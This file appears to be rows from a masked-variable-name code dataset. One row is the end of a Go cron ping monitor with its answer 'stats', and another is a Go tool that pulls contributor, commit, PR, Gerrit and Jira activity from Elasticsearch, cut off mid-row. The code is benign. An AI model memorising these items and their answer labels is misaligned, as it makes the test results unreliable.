fmt.Println(""cron:"", len(machines)) c = cron.New(cron.WithSeconds()) for i = 0; i < len(machines); i++ { // 添加定时探测任务 测试每五秒来一次 res := models.Result{} res.DetectingSourceIP = utils.GetLocalIp().String() res.DetectionDestinationIP = machines[i].LocalIP _, err := c.AddFunc(""*/5 * * * * *"", func() { //需要在任务中重置ID res.ID = 0 res.CreatedAt = time.Now() res.UpdatedAt = time.Now() p := utils.PingByIp(res.DetectionDestinationIP, 10) p.OnFinish = func( [MASK] *ping.Statistics) { res.PacketLossRate = float32( [MASK] .PacketLoss) / 100 res.Delayed = time.Duration( [MASK] .AvgRtt.Seconds() * 1000) } // 开始Ping err := p.Run() if err != nil { fmt.Printf(""Error running pinger: %v\n"", err) } global.App.DB.Create(&res) fmt.Println(""当前执行ping "", res.DetectionDestinationIP, ""操作"") }) if err != nil { fmt.Println(""添加定时任务失败:"", err) return } else { fmt.Println(""添加定时任务成功"") } } // 启动调度器 c.Start() // 阻塞主线程 select {} } ",stats 510,"package main import ( ""bytes"" ""encoding/csv"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ""runtime"" ""sort"" ""strconv"" ""strings"" ""sync"" ""time"" ""github.com/jmoiron/sqlx"" jsoniter ""github.com/json-iterator/go"" _ ""github.com/go-sql-driver/mysql"" ) const ( // cCreatedAtColumn = ""metadata__enriched_on"" cCreatedAtColumn = ""metadata__timestamp"" // cCreatedAtColumn = ""metadata__updated_on"" ) var ( gReport string gESURL string gDB *sqlx.DB gOrg string gFrom string gTo string gDbg bool gDatasource map[string]struct{} gSubReport map[string]struct{} gAll map[string]int gDt time.Time gNamePrefix string gMaxThreads int gProgress bool gFiltered bool ) var gDtMtx = &sync.Mutex{} // contributor name, email address, project slug and affiliation date range type contribReportItem struct { uuid string name string email string project string subProject string n int from time.Time to time.Time root string commits int locAdded int locDeleted int prAct int issueAct int } // contribReport - full report structure type contribReport struct { items []contribReportItem summary map[string]contribReportItem } // LOC stats report item (only git) // subrep type datalakeLOCReportItem struct { docID string identityID string dataSource string projectSlug string sfSlug string createdAt time.Time locAdded int locDeleted int filtered bool } // Docs stats report item (only confluence) // subrep type datalakeDocReportItem struct { docID string identityID string dataSource string projectSlug string sfSlug string createdAt time.Time actionType string // page, new_page, comment, attachment filtered bool } // PRs stats report item (github pull_request & gerrit) // subrep type datalakePRReportItem struct { docID string identityID string dataSource string projectSlug string sfSlug string createdAt time.Time actionType string // all possible doc types from github-issue (PRs only) and gerrit, also detecting approvals/rejections/merges filtered bool } // Issues stats report item (github issue, Jira issue, Bugzilla(rest) issue) // subrep type datalakeIssueReportItem struct { docID string identityID string dataSource string projectSlug string sfSlug string createdAt time.Time actionType string // all possible doc types from github-issue (Issue only), Jira & Bugzilla(rest) filtered bool } // datalakeReport - full report structure // subrep type datalakeReport struct { locItems []datalakeLOCReportItem docItems []datalakeDocReportItem prItems []datalakePRReportItem issueItems []datalakeIssueReportItem } type resultTypeError struct { Type string `json:""type""` Reason string `json:""reason""` } type resultType struct { Cursor string `json:""cursor""` Rows [][]interface{} `json:""rows""` Error resultTypeError `json:""error""` } func fatalError(err error) { if err == nil { return } fmt.Printf(""error: %v\n"", err) panic("""") } func fatal(str string) { fmt.Printf(""error: %s\n"", str) panic("""") } // return values // 1 - report this error // 0 - this error is allowed // -1 - don't report this error, but retry due to missing 'project_slug' column func reportThisError(err resultTypeError) int { errMsg := fmt.Sprintf(""%+v"", err) // We attempt to get all possible data types using project root, if some data type is not present then this is just fine. if strings.Contains(errMsg, ""Unknown index "") { return 0 } // We attempt to get PRs data on github-issue indices, some projects have only issues enabled and not PRs - so this is fine too. if strings.Contains(errMsg, ""Unknown column "") && strings.Contains(errMsg, ""merged_by_data_id"") { return 0 } // don't report this error, but retry due to missing 'project_slug' column if strings.Contains(errMsg, ""Unknown column "") && strings.Contains(errMsg, ""project_slug"") { return -1 } return 1 } func reportThisErrorOrg(err resultTypeError) bool { errMsg := fmt.Sprintf(""%+v"", err) // We attempt to get all possible data types using project root, if some data type is not present then this is just fine. if strings.Contains(errMsg, ""Unknown index "") { return false } return true } func getIndices(res map[string]interface{}, aliases bool) (indices []string) { ary, _ := res[""x""].([]interface{}) for _, i := range ary { item, _ := i.(map[string]interface{}) idx, _ := item[""index""].(string) if !strings.HasPrefix(idx, ""sds-"") { continue } // if strings.HasSuffix(idx, ""-raw"") || strings.HasSuffix(idx, ""-for-merge"") || strings.HasSuffix(idx, ""-cache"") || strings.HasSuffix(idx, ""-converted"") || strings.HasSuffix(idx, ""-temp"") || strings.HasSuffix(idx, ""-last-action-date-cache"") { if strings.HasSuffix(idx, ""-raw"") || strings.HasSuffix(idx, ""-cache"") || strings.HasSuffix(idx, ""-converted"") || strings.HasSuffix(idx, ""-temp"") || strings.HasSuffix(idx, ""-last-action-date-cache"") { continue } // to limit data processing while implementing // yyy /* if !strings.Contains(idx, ""finos"") { continue } */ if !aliases { sCnt, _ := item[""docs.count""].(string) cnt, _ := strconv.Atoi(sCnt) if gDbg { fmt.Printf(""%s-> %d\n"", idx, cnt) } if cnt == 0 { gAll[idx] = 0 if gDbg { fmt.Printf(""skipping an empty index %s\n"", idx) } continue } indices = append(indices, idx) gAll[idx] = cnt continue } cnt, ok := gAll[idx] if ok && cnt == 0 { if gDbg { fmt.Printf(""skipping an empty index from alias %s\n"", idx) } continue } if !ok { gAll[idx] = -1 } indices = append(indices, idx) } sort.Strings(indices) if gDbg { if aliases { fmt.Printf(""indices from aliases: %v\n"", indices) } else { fmt.Printf(""indices: %v\n"", indices) } } return } func getRoots(indices, aliases []string) (roots, dsa []string) { fmt.Printf(""%d indices, %d aliases\n"", len(indices), len(aliases)) dss := make(map[string]struct{}) all := make(map[string]struct{}) var reported map[string]struct{} if gDbg { reported = make(map[string]struct{}) } for _, idx := range indices { if strings.HasSuffix(idx, ""-for-merge"") { idx = idx[:len(idx)-10] } ary := strings.Split(idx, ""-"") lAry := len(ary) ds := ary[lAry-1] root := strings.Join(ary[1:lAry-1], ""-"") if strings.HasSuffix(root, ""-github"") { root = root[:len(root)-7] ds = ""github-"" + ds } if root == """" { continue } if gDatasource != nil { _, ok := gDatasource[ds] if !ok { if gDbg { _, rep := reported[ds] if !rep { fmt.Printf(""data source '%s' not on the data source list, skipping\n"", ds) reported[ds] = struct{}{} } } continue } if gDbg { _, rep := reported[ds] if !rep { fmt.Printf(""data source '%s' included\n"", ds) reported[ds] = struct{}{} } } } dss[ds] = struct{}{} all[root] = struct{}{} } for _, idx := range aliases { if strings.HasSuffix(idx, ""-for-merge"") { idx = idx[:len(idx)-10] } ary := strings.Split(idx, ""-"") lAry := len(ary) ds := ary[lAry-1] root := strings.Join(ary[1:lAry-1], ""-"") if strings.HasSuffix(root, ""-github"") { root = root[:len(root)-7] ds = ""github-"" + ds } if root == """" { continue } if gDatasource != nil { _, ok := gDatasource[ds] if !ok { if gDbg { _, rep := reported[ds] if !rep { fmt.Printf(""data source '%s' not on the data source list, skipping\n"", ds) reported[ds] = struct{}{} } } continue } if gDbg { _, rep := reported[ds] if !rep { fmt.Printf(""data source '%s' included\n"", ds) reported[ds] = struct{}{} } } } dss[ds] = struct{}{} all[root] = struct{}{} } fmt.Printf(""%d data source types\n"", len(dss)) for root := range all { roots = append(roots, root) } for ds := range dss { dsa = append(dsa, ds) } sort.Strings(dsa) if gDbg { fmt.Printf(""data source types: %v\n"", dsa) } sort.Strings(roots) fmt.Printf(""%d projects detected\n"", len(roots)) if gDbg { fmt.Printf(""projects: %v\n"", roots) } return } func getSlugRoots() (slugRoots, dataSourceTypes []string) { method := ""GET"" url := gESURL + ""/_cat/indices?format=json"" req, err := http.NewRequest(method, url, nil) fatalError(err) resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() body = append([]byte(`{""x"":`), body...) body = append(body, []byte(`}`)...) var result map[string]interface{} err = jsoniter.Unmarshal(body, &result) fatalError(err) indices := getIndices(result, false) url = gESURL + ""/_cat/aliases?format=json"" req, err = http.NewRequest(method, url, nil) fatalError(err) resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() body = append([]byte(`{""x"":`), body...) body = append(body, []byte(`}`)...) err = jsoniter.Unmarshal(body, &result) fatalError(err) aliases := getIndices(result, true) slugRoots, dataSourceTypes = getRoots(indices, aliases) return } func jsonEscape(str string) string { b, _ := jsoniter.Marshal(str) return string(b[1 : len(b)-1]) } func timeParseES(dtStr string) (time.Time, error) { dtStr = strings.TrimSpace(strings.Replace(dtStr, ""Z"", """", -1)) ary := strings.Split(dtStr, ""+"") ary2 := strings.Split(ary[0], ""."") var s string if len(ary2) == 1 { s = ary2[0] + "".000"" } else { if len(ary2[1]) > 3 { ary2[1] = ary2[1][:3] } s = strings.Join(ary2, ""."") } return time.Parse(""2006-01-02T15:04:05.000"", s) } func toMDYDate(dt time.Time) string { return fmt.Sprintf(""%d/%d/%d"", dt.Month(), dt.Day(), dt.Year()) } func toYMDHMSDate(dt time.Time) string { return fmt.Sprintf(""%04d-%02d-%02d %02d:%02d:%02d"", dt.Year(), dt.Month(), dt.Day(), dt.Hour(), dt.Minute(), dt.Second()) } func applySlugMapping(slug string, [MASK] bool) (daName, sfName string, found bool) { slugs := []string{slug} defer func() { if gDbg { fmt.Printf(""slug mapping: %s -> %+v -> %s,%s,%v\n"", slug, slugs, daName, sfName, found) return } if !found { fmt.Printf(""slug mapping not found: %s -> %+v -> %s,%s\n"", slug, slugs, daName, sfName) } }() ary := strings.Split(slug, ""-"") n := len(ary) for i := 1; i < n; i++ { slugs = append(slugs, strings.Join(ary[:i], ""-"")+""/""+strings.Join(ary[i:], ""-"")) } if strings.HasSuffix(slug, ""-shared"") { newSlug := slug[:len(slug)-7] if gDbg { fmt.Printf(""shared slug detected: '%s' -> '%s'\n"", slug, newSlug) } slugs = append(slugs, newSlug) ary := strings.Split(newSlug, ""-"") n := len(ary) for i := 1; i < n; i++ { slugs = append(slugs, strings.Join(ary[:i], ""-"")+""/""+strings.Join(ary[i:], ""-"")) } } for _, kw := range []string{""common"", ""all""} { if strings.HasSuffix(slug, ""-""+kw) { newSlug := slug[:len(slug)-(len(kw)+1)] if gDbg { fmt.Printf(""%s slug detected: '%s' -> '%s'\n"", kw, slug, newSlug) } slugs = append(slugs, newSlug) ary := strings.Split(newSlug, ""-"") n := len(ary) for i := 1; i < n; i++ { slugs = append(slugs, strings.Join(ary[:i], ""-"")+""/""+strings.Join(ary[i:], ""-"")) } if n > 1 { ary = ary[:n-1] n-- newSlug := strings.Join(ary, ""-"") slugs = append(slugs, newSlug) if gDbg { fmt.Printf(""%s slug detected (2nd attempt): '%s' -> '%s'\n"", kw, slug, newSlug) } for i := 1; i < n; i++ { slugs = append(slugs, strings.Join(ary[:i], ""-"")+""/""+strings.Join(ary[i:], ""-"")) } } } } if strings.HasSuffix(slug, ""-f"") { newSlug := slug[:len(slug)-2] if gDbg { fmt.Printf(""dash-f slug detected: '%s' -> '%s'\n"", slug, newSlug) } slugs = append(slugs, newSlug) ary := strings.Split(newSlug, ""-"") n := len(ary) for i := 1; i < n; i++ { slugs = append(slugs, strings.Join(ary[:i], ""-"")+""/""+strings.Join(ary[i:], ""-"")) } } for _, slg := range slugs { rows, err := gDB.Query(""select sf_name from slug_mapping where da_name = ?"", slg) fatalError(err) for rows.Next() { err = rows.Scan(&sfName) fatalError(err) break } fatalError(rows.Err()) fatalError(rows.Close()) if sfName != """" { daName = slg found = true return } } if [MASK] { sfName = slug } daName = slug return } // subrep func datalakeLOCReportForRoot(root, projectSlug, sfSlug string, overrideProjectSlug, missingCol bool) (locItems []datalakeLOCReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got LOC %s: %v\n"", root, locItems) }() } pattern := jsonEscape(""sds-"" + root + ""-git*,-*-github,-*-github-issue,-*-github-repository,-*-github-pull_request,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select git_uuid, author_id, '%s', %s, lines_added, lines_removed from \""%s\"" `+ `where author_id is not null and type = 'commit' and (lines_added > 0 or lines_removed > 0)"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select git_uuid, author_id, project_slug, %s, lines_added, lines_removed from \""%s\"" `+ `where author_id is not null and type = 'commit' and (lines_added > 0 or lines_removed > 0)"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeLOCReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [f16103509162d3044c5882a2b0d4c4cf70c16cb0 7f6daae75c73b05795d1cffb2f6642d51ad94ab5 accord/accord-concerto 2021-08-11T12:16:55.000Z 1 1] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } // Skip rows having no enriched date if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) fLOCAdded, _ := row[4].(float64) locAdded := int(fLOCAdded) fLOCDeleted, _ := row[5].(float64) locDeleted := int(fLOCDeleted) item := datalakeLOCReportItem{ docID: documentID, identityID: identityID, dataSource: ""git"", projectSlug: pSlug, sfSlug: sfSlug, createdAt: createdAt, locAdded: locAdded, locDeleted: locDeleted, filtered: false, } locItems = append(locItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeLOCReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeGithubPRReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, missingCol bool) (prItems []datalakePRReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got github-pr %s: %v\n"", root, prItems) }() } pattern := jsonEscape(""sds-"" + root + ""-github-issue*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select id, author_id, '%s', %s, type, state, merged_by_data_id from \""%s\"" `+ `where author_id is not null and is_github_pull_request = 1"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select id, author_id, project_slug, %s, type, state, merged_by_data_id from \""%s\"" `+ `where author_id is not null and is_github_pull_request = 1"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeGitHubPRReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [ffd3f84758dbdd21df9a66b09a96df1ae47db0f3 2ca78b1cc8c9bb81152d3495a5aa8058fba5801c academy-software-foundation/opencolorio 2021-09-16T06:33:13.461Z pull_request closed 5675ad72e0958195400713bc2430e77315cbedf9] // [ffd3f84758dbdd21df9a66b09a96df1ae47db0f3 5675ad72e0958195400713bc2430e77315cbedf9 academy-software-foundation/opencolorio 2021-09-16T06:33:13.461Z pull_request_review APPROVED ] // [293c9ccfe121c0b895c9b7cf0ce20aa11f142aca 2ab3287aa9894fbb6b395e544fc579ba3126c8c7 academy-software-foundation/opencolorio 2021-10-04T23:32:45.981Z issue_comment ] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } // Skip rows having no enriched date if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) actionType, _ := row[4].(string) state, _ := row[5].(string) mergeIdentityID, _ := row[6].(string) // fmt.Printf(""(%s,%s,%s)\n"", actionType, state, mergeIdentityID) if actionType == ""pull_request_review"" { switch state { case ""APPROVED"": actionType = ""GitHub PR approved"" case ""CHANGES_REQUESTED"": actionType = ""GitHub PR changes requested"" case ""COMMENTED"": actionType = ""GitHub PR review comment"" case ""DISMISSED"": actionType = ""GitHub PR dismissed"" } } if identityID == mergeIdentityID { actionType = ""PR merged"" } item := datalakePRReportItem{ docID: documentID, identityID: identityID, dataSource: ""github/issue"", projectSlug: pSlug, sfSlug: sfName, createdAt: createdAt, actionType: actionType, filtered: false, } prItems = append(prItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeGitHubPRReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeGerritReviewReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, missingCol bool) (prItems []datalakePRReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got gerrit-review %s: %v\n"", root, prItems) }() } pattern := jsonEscape(""sds-"" + root + ""-gerrit*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select id, author_id, '%s', %s, type, approval_value from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select id, author_id, project_slug, %s, type, approval_value from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeGerritReviewReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [78843539ad1642c4ab74ae6c19772d1a40bf951d a006613a2aefee76acceb8f5fb6867f49c32ebe1 o-ran/shared 2021-09-07T05:56:36.913Z approval 1] // [03c753252a0c27bd890abf272c93e61bb1e28c31 6183ef1a4ac9e5403ff6bf13a1508654def1bb09 o-ran/shared 2021-09-07T05:56:31.998Z patchset ] // [235bff88695c1e049b904edc9b7744357acf11ac 81e04dfee8603594a86b780010f7669650d7f076 lfn/tungsten-fabric 2021-09-07T05:37:36.574Z comment ] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } // Skip rows having no enriched date if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) actionType, _ := row[4].(string) approvalValue, _ := row[5].(string) // fmt.Printf(""(%s,%s)\n"", actionType, approvalValue) if actionType == ""approval"" { switch approvalValue { case ""-1"", ""-2"", ""-3"": actionType = ""Gerrit review rejected"" case ""0"", ""1"", ""2"", ""3"": actionType = ""Gerrit review approved"" } } item := datalakePRReportItem{ docID: documentID, identityID: identityID, dataSource: ""gerrit"", projectSlug: pSlug, sfSlug: sfName, createdAt: createdAt, actionType: actionType, filtered: false, } prItems = append(prItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeGerritReviewReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeGithubIssueReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, missingCol bool) (issueItems []datalakeIssueReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got github-issue %s: %v\n"", root, issueItems) }() } pattern := jsonEscape(""sds-"" + root + ""-github-issue*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select id, author_id, '%s', %s, type from \""%s\"" `+ `where author_id is not null and is_github_issue = 1"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select id, author_id, project_slug, %s, type from \""%s\"" `+ `where author_id is not null and is_github_issue = 1"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeGitHubIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [bdf57807ad938a88ba699da2bdf49bf851884dc9 d21d4c49184b31550fd6526863fb64894f437e64 hyperledger/sawtooth 2021-09-07T14:49:35.631Z issue_assignee] // [9ff1f7e20274861e9415a5af8e7f330055a658f8 342fc492a4e5fd634c527bb09b3c079f0737e3cd ojsf/ojsf-nodejs 2021-09-07T06:22:45.628Z issue_comment] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } // Skip rows having no enriched date if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) actionType, _ := row[4].(string) item := datalakeIssueReportItem{ docID: documentID, identityID: identityID, dataSource: ""github/issue"", projectSlug: pSlug, sfSlug: sfName, createdAt: createdAt, actionType: actionType, filtered: false, } issueItems = append(issueItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeGitHubIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeJiraIssueReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, missingCol bool) (issueItems []datalakeIssueReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got jira issue %s: %v\n"", root, issueItems) }() } // can also get status and/or status_category_key pattern := jsonEscape(""sds-"" + root + ""-jira*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select id, author_id, '%s', %s, type from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select id, author_id, project_slug, %s, type from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeJiraIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [3fc01f224df4430fa86a03aa7a7d581210e58f64 